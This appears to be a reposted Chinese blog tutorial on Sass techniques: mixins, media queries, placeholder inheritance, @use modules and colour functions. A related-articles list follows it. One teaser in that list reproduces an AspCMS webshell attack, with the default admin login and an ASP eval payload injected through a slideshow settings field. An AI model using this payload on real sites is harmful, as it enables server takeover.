Sass实现文字两侧横线及Sass常用方案

Sass常用方案及Sass实现文字两侧横线

  • 1.Sass实现文字两侧横线
  • 2.`用Sass简化`媒体查询
  • 3.使用继承+占位符实现样式复用
  • 4.Sass 模块化
  • 5.lighten 和 darken

自我记录

1.Sass实现文字两侧横线

@mixin 的基本作用:

  • 代码复用:把常用的样式封装在一起,不需要重复写相同的代码。
  • 参数化:可以通过参数动态生成样式,提高灵活性。
  • 逻辑处理:结合 Sass 的控制语句(如 @if、@for),可以实现条件逻辑的样式生成。
// 抽离公共样式
@mixin before-after-common-line($width: 40rpx) {content: '';position: absolute;top: 50%;transform: translateY(-50%);width: $width;height: 1rpx;background: #333333;@content;
}
.test{position: relative;&::before {@include before-after-common-line {left: -64rpx;}}&::after {@include before-after-common-line(40rpx) {right: -64rpx;}}
}

在这里插入图片描述

简单记录一下sass的基础复用

2.用Sass简化媒体查询

// 用Sass的混合实现媒体查询
$breakpoints: (phone:(320px, 480px),pad:(481px, 768px),notebook:(769px, 1024px),desktop:(1025px, 1200px),tv:1201px
);@mixin responseTo($d_name) {$bp: map-get($breakpoints, $d_name);@if type-of($bp)=='list' {@media (min-width:nth($bp, 1)) and (max-width:nth($bp, 2)) {@content;}}@else {@media (min-width:$bp) {@content;}}
}

使用

.nav {@include responseTo('phone') {width: 100px;}@include responseTo('pad') {width: 200px;}
}

3.使用继承+占位符实现样式复用

@mixin 混合注入 会冗余代码
@extend 继承 会去直接继承父类
@extend 配合 % 占位符使用更完美

//完美继承 使用%占位符去除无用类代码
%tip {font-size: 28px;opacity: 0.8;text-decoration: underline;
}.tip-msg {@extend %tip;color: #666;
}.tip-waring {@extend %tip;color: orange;
}.tip-error {@extend %tip;color: red;
}.tip-success {@extend %tip;color: green;
}

普通继承

// 普通继承 会冗余 .tip 代码
.tip {font-size: 28px;opacity: 0.8;text-decoration: underline;
}.tip-msg {@extend .tip;color: #666;
}.tip-waring {@extend .tip;color: orange;
}.tip-error {@extend .tip;color: red;
}.tip-success {@extend .tip;color: green;
}// 混合注入样式 会冗余代码
@mixin tips-mixin {font-size: 28px;opacity: 0.8;text-decoration: underline;
}
.tip-msg-include {@include tips-mixin;color: #666;
}.tip-waring-include {@include tips-mixin;color: orange;
}.tip-error-include {@include tips-mixin;color: red;
}.tip-success-include {@include tips-mixin;color: green;
}

4.Sass 模块化

@import 运行时 与css一样
@import 编译时 直接把编译结果生成 sass不建议用作编译时态 问题如下三点

  • 混淆: 需要区分是运行时还是编译时状态
  • 污染: 变量冲突
  • 私有: 只要在文件写了就全部暴露出去了,不像js需要导出

@use

  • 命名空间 就是文件名字 as * | xx就是别名
  • 私有性 _ 开头$_color
// @import url('xxxx.scss'); // 运行时
// @import './xxxx.scss';// 编译时
// @use '../../../common.scss';// 命名空间 就是文件名字
// @use './common.scss';// 命名空间 就是文件名字
// @use './abc.scss';// 命名空间 就是文件名字
// .test {
//   color: common.$color;
// }
// .test1 {
//   color: abc.$color;
// }@use './common.scss' as *;// 命名空间 别名
@use './abc.scss' as b;// 命名空间 别名.test {color: $color;
}
.test1 {color: b.$color;
}
// 私有性 加_就可以

5.lighten 和 darken

在这里插入图片描述

lighten 使颜色变浅 color:lighten($color: #000000, $amount: 0);

  • 第一个是颜色
  • 第二个是变浅多少
    darken 使颜色变深 color:darken($color: #000000, $amount: 0);
  • 第一个是颜色
  • 第二个是变深多少
// @use 'sass:color';body {display: flex;justify-content: space-around;align-items: center;
}.btn {border: none;outline: none;line-height: 1;white-space: nowrap;cursor: pointer;text-align: center;transition: 0.1s;width: 100px;height: 40px;border-radius: 10px;margin: 0 auto;
}$btnColors: #409eff, #67c23a, #e6a23c, #f56c6c, #6c6d71;@for $i from 1 through length($btnColors) {.btn.type-#{$i} {$bg: nth($btnColors, $i);$color: #fff;background-color: $bg;color: $color;&:hover {background-color: lighten($bg, 10%);}&:active {background-color: darken($bg, 10%);}&:disabled {background-color: lighten($bg, 20%);color: lighten($color, 40%);cursor: not-allowed;}}}
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>按钮颜色</title><link rel="stylesheet" href="./index.css"></link>
</head>
<body><button disabled class="btn type-1">按钮</button><button class="btn type-2">按钮</button><button class="btn type-3">按钮</button><button class="btn type-4">按钮</button><button class="btn type-5">按钮</button>
</body>
</html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/54153.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java如何扫描指定包下所有类?

Java如何扫描指定包下所有类&#xff1f; Java8、jdk8、idea、反射、class背景 每次写算法题时&#xff0c;总觉得测试代码写起来又没营养又很麻烦&#xff0c;即便是借助junit测试框架也很麻烦&#xff0c;太重了。 正好在学习spring过程中接触到注解&#xff0c;研究其原理…

SpringCloud-04 OpenFeign服务调用与负载均衡

OpenFeign是一个声明式、模板化的HTTP客户端&#xff0c;它简化了在Java应用程序中调用RESTful API的过程。OpenFeign是Netflix开发的一个开源项目&#xff0c;它构建在Feign的基础上&#xff0c;为开发者提供了更加简单、灵活的方式来实现HTTP请求。OpenFeign的特点包括&#…

地平线秋招2025

【地平线秋招】 中秋卷起来&#xff01;&#xff01;&#xff01; 内推码 kbrfck 内推码 kbrfck 内推码 kbrfck 投递链接&#xff1a;https://wecruit.hotjob.cn/SU62d915040dcad43c775ec12c/mc/position/campus?acotycoCodekbrfck&recruitType1&isLimitShowPostScope…

深入剖析:C++类对象的内存布局与优化

深入剖析&#xff1a;C类对象的内存布局与优化 引言 在C编程中&#xff0c;理解类对象的内存布局对于优化内存使用和提高程序性能至关重要。本文将详细介绍C类对象的内存布局&#xff0c;包括数据成员、虚函数表指针以及静态变量和静态方法在内存中的位置。通过这些知识&…

【Google Chrome Windows 64 version及 WebDriver 版本】

最近升级到最新版本Chrome后发现页面居然显示错乱实在无语, 打算退回原来的版本, 又发现官方只提供最新的版本下载, 为了解决这个问题所有收集了Chrome历史版本的下载地址分享给大家. Google Chrome Windows version 64 位 VersionSize下载地址Date104.0.5112.10282.76 MBhtt…

MySQL从入门到精通二

第1章&#xff1a;MySQL基础 1.1运算符 1.1.1 算术运算符 算术运算符是MySQL中最常用的一类运算符。MySQL支持的算术运算符包括加、减、乘、除、求余。 算术运算符 符号作用符号作用加法运算%求余运算-减法运算DIV除法运算*乘法运算MOD求余运算&#xff0c;返回余数/除法运算…

Python|基于Kimi大模型,删除已上传的“指定文档”或“全部文档”(6)

前言 本文是该专栏的第6篇,后面会持续分享AI大模型干货知识,记得关注。 在本专栏上一篇《Python|基于Kimi大模型,实现上传文档并进行对话(5)》中,笔者有详细介绍“基于kimi大模型,上传指定文档并结合prompt,获取目标文本数据”。对此感兴趣的同学,可以直接点击翻阅查…

【洛谷】P3743 小鸟的设备 的题解

【洛谷】P3743 小鸟的设备 的题解 题目传送门 题解 水一道二分 qaq 刚开始考虑的是动态规划&#xff0c;但是动态规划并不能维护题目所要求的东西。所以我们将思路转向另一种求最值问题的方法&#xff1a;二分答案。 首先&#xff0c;如果一个设备在 t t t 的时间内消耗的…

Redis事件循环与网络通信机制详解

探索 Redis 底层设计:事件循环与网络通信机制 一、引言 Redis 作为一款高性能的内存数据库,其底层设计中的事件循环与网络通信机制起着至关重要的作用。这些机制使得 Redis 能够高效地处理大量的并发连接,快速响应客户端请求,并在不同的操作系统上实现良好的性能表现。 …

Java虚拟机:类的加载机制

大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 034 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…

深度学习速通系列:命名实体识别

命名实体识别&#xff08;NER&#xff09;是自然语言处理&#xff08;NLP&#xff09;中的一项基础技术&#xff0c;它能够从文本中识别出具有特定意义的实体&#xff0c;如人名、地名、组织名等。NER在信息提取、问答系统、句法分析、机器翻译等领域有着广泛的应用。 NER的技…

STL相关简介

string 看到这个词&#xff0c;相信大家一定都很好奇什么是string&#xff0c;它有什么作用呢&#xff1f;今天&#xff0c;就让我们一起来了解一下关于string的简介吧~ 目录 string 1. 什么是STL 2. STL的版本 3. STL的六大组件 4. STL的重要性 5. 如何学习STL 6.STL的…

Unity实战案例全解析 :PVZ 植物脚本分析

植物都继承了Pants脚本&#xff0c;但是我因为没注意听讲&#xff0c;把Pants也挂在植物上了&#xff0c;所以子类的PlantEnableUpdate和PlantDisableUpdate抢不过父类&#xff0c;无法正确触发动画&#xff0c;我还找不到哪里出了问题&#xff0c;所以就使用了携程加while强行…

【裸机装机系列】3.kali(ubuntu)-更新sources.list并重启

当装机并重启计算机后&#xff0c;暂时还不能使用&#xff0c;需要更新源并下载软件 1、更新软件源 1> 切换root使用命令 sudo su root 进入界面后&#xff0c;是你自己的账户&#xff0c;不是root账户&#xff0c;这里的操作是需要进入root账户进行操作的&#xff0c;否…

bpf的了解以及bpftrace的简单练习

最近接触到bpf的概念&#xff0c;简单做一些练习&#xff0c;做以下整理&#xff0c;学习笔记。 0&#xff1a;总结 使用ebpf可以实现的功能打开新世界&#xff0c;可以不改变源码的情况下&#xff0c;实现内存&#xff0c;网络&#xff0c;对应接口等各种期望内容的监控。 …

王者荣耀改重复名(java源码)

王者荣耀改重复名 项目简介 “王者荣耀改重复名”是一个基于 Spring Boot 的应用程序&#xff0c;用于生成王者荣耀游戏中的唯一名称。通过简单的接口和前端页面&#xff0c;用户可以输入旧名称并获得一个新的、不重复的名称。 功能特点 生成新名称&#xff1a;提供一个接口…

C++基础知识7 list

list 1. list的介绍及使用1.1 list的介绍1.2 list的使用1.2.1 list的构造1.2.2 list iterator的使用1.2.3 list capacity1.2.4 list element access1.2.5 list modifiers1.2.6 list的迭代器失效 2.1 模拟实现list 1. list的介绍及使用 1.1 list的介绍 1.2 list的使用 1.2.1 l…

aspcms 获取webshell漏洞复现

1.通过访问/admin_aspcms/login.asp来到后台 使用admin 123456 登录 2.点击扩展功能-幻灯片设置-保存&#xff0c;同时进行抓包 3.修改数据包中的slideTextStatus字段&#xff0c;将其更改为 1%25><%25Eval(Request (chr(65)))%25><%25 密码为a 4.访问木马的地…

面试官:讲一讲Spring MVC源码解析

好看的皮囊千篇一律、有趣的灵魂万里挑一 文章持续更新&#xff0c;可以微信搜索【小奇JAVA面试】第一时间阅读&#xff0c;回复【资料】获取福利&#xff0c;回复【项目】获取项目源码&#xff0c;回复【简历模板】获取简历模板&#xff0c;回复【学习路线图】获取学习路线图。…

Android 使用scheme唤起app本地打开

记录一下近期任务。。。 以下操作全部基于手机本地已经安装对应app方可执行。 没安装建议web前端校验一下跳动app下载页吧。 AndroidManifest配置如下&#xff1a; <activity android:name".RouterActivity"><intent-filter><dataandroid:host&quo…